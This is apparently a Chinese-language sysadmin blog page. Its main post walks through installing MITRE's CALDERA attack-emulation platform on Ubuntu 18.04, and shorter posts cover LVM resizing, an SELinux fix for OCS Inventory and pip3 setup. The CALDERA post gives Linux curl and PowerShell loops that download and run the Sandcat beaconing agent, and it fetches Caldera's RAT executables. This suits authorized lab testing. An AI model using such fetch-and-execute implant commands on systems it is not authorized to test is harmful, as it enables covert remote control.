2019年7月16日 星期二

Ubuntu 18.04安裝MITRE ATT&CK的開源自動化攻擊模擬平台CALDERA

  目前Ubuntu 18.04安裝完後,就會有Python3,作完Upgrade後,目前最新版為Python3.6.8(2019/07/16),那還需要安裝pip這個工具。

  我習慣會先作系統更新,順序如下:
  
sudo su
apt update
apt upgrade

  作完更新後開始安裝pip3,但是無法安裝,解決方式如下:

add-apt-repository universe
apt-get update
apt-get install python3-pip

  那還需要更新setuptools :

pip3 install --upgrade setuptools

  作完Python的準備後,我建議先安裝MongoDB,Caldera的建議是3.2以上的版本,目前Ubuntu18.04上的版本為3.6.3(2019/07/16):

apt install mongodb

  之後修改/etc/mongodb.conf,加入這行 replSet = caldera,指令如下:

echo "replSet = caldera" >> /etc/mongodb.conf

  安裝caldera:

mkdir /caldera
cd /caldera
git clone https://github.com/mitre/caldera.git --recursive
cd /caldera
pip3 install -r requirements.txt

  如果要透過別台電腦連結到Caldera主機,要修改local.yml,將host:127.0.0.1,改成0.0.0.0。

vi /caldera/caldera/conf/local.yml

  加入Caldera's RAT,記得要在/caldera這層目錄中作這個動作,而不是在/caldera/caldera,要留意:

mkdir -p dep/crater/crater && cd dep/crater/crater
wget https://github.com/mitre/caldera-crater/releases/download/v0.1.0/CraterMainWin7.exe
wget https://github.com/mitre/caldera-crater/releases/download/v0.1.0/CraterMainWin8up.exe
ln -s CraterMainWin8up.exe CraterMain.exe

  這些都完成後,回到/caldera/caldera中執行這個指令:

python3 server.py
  
  如果都正常的話,應該會有這個畫面:



參考資料:
https://caldera.readthedocs.io/en/latest/installation.html
https://github.com/mitre/caldera
https://www.sprocketsecurity.com/blog/getting-started-with-mitre-caldera


  模擬測試,系統中已有內建幾種測試模式,但是要先加入Group,就是要找受測電腦,受測電腦需要執行Agent,目前Caldera提供的是一個叫Sandcat的Agent,這個Agent提供Linux、MacOS、Windows三種系統,因手上沒有Mac電腦,只試過Linux及Windows,執行指令如下:
  
  Linux:如果是要用你安裝Caldera機器測試的話,localhost不用改,後面的my_group則是Caldera系統看到的名稱,如果會用超過一台以上的測試機的話,記得修改,不然你每一台受測機都會叫my_group。
  
while true; do curl -sk -X POST -H 'file:sandcat-linux' http://localhost:8888/file/download > /tmp/sandcat-linux && chmod +x /tmp/sandcat-linux && /tmp/sandcat-linux http://localhost:8888 my_group; sleep 60; done


有連結上主機的話,就會出現如下圖中[+] Beaconing這個字眼。

Windows:要注意的是請用PowerShell開這行指令,localhost的部份要改成主機的IP,那一樣留意my_group

while($true) {$url="http://localhost:8888/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("file","sandcat.exe");$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);C:\Users\Public\sandcat.exe http://localhost:8888 my_group; sleep 60}


  這時候應該就能在系統中看到這兩筆資料,才能展開測試:


現在新版的Caldera的安裝跟使用跟舊版的已經不太一樣了,新版的安裝方式簡單很多,可以參考官方的GitHub。
https://github.com/mitre/caldera






























Ubuntu18.04無法安裝python3 pip3

  Ubuntu18.04,無法安裝python3 pip3問題:

  sudo add-apt-repository universe
  sudo apt-get update
  sudo apt-get install python3-pip

安裝在VMWare的Ubuntu 18.04硬碟空間問題

  記錄一下,在Esxi6.7上安裝Ubuntu18.04時,在硬碟空間設定時,要記得調整ubuntu-lv的空間,如果不調整,它預設只會切割4G給/,所以要記得去Edit。


如果忘了在安裝時調整,可以進系統後再調整。
  


  # 1. 用 lvresize

  $ sudo lvresize -A n -l +100%FREE /dev/ubuntu-vg/ubuntu-lv

  # 2. resize ext4

  $ sudo resize2fs /dev/ubuntu-vg/ubuntu-lv

  # 3. df 看一下

  $ df

  Filesystem 1K-blocks Used Available Use% Mounted on
  /dev/mapper/ubuntu--vg-ubuntu--lv 19540624 4050844 14634724 22% /

  如果你忘了原本切割給VM的空間,可以先下這個指令去查詢:

  $ sudo pvscan




2019年7月15日 星期一

OCS Inventory 2.5 無法盤點

  裝好的OCS 2.5無法盤點,看了一下Log,會出現這個錯誤。
 [perl:error] [pid 21208] [client 192.168.1.2:59659] Failed to open log file : Permission denied (/var/log/ocsinventory-server)\n
  這是Centos 的selinux造成的,OCS無法讀寫/var/log/ocsinventory-server/這個資料夾及裡面的檔案,網路上一般的教法是關掉selinux,但是不建議。
  這邊提供另外的作法:

  chcon -t httpd_sys_rw_content_t /var/log/ocsinventory-server

  用ls -lZ查看,成功的話,會變這樣:

  drwxrwxr-x. apache apache unconfined_u:object_r:httpd_sys_rw_content_t:s0 ocsinventory-server

  

OpenProject專案匯出中文無法顯示問題

 OpenProject可以匯出專案成以下格式: 我OpenProject是架設在Ubuntu 20.04上,查了一下OpenProject處理匯出的功能,從網路上找到這篇文章: https://feifacunzai.github.io/2022/11/29/OpenProje...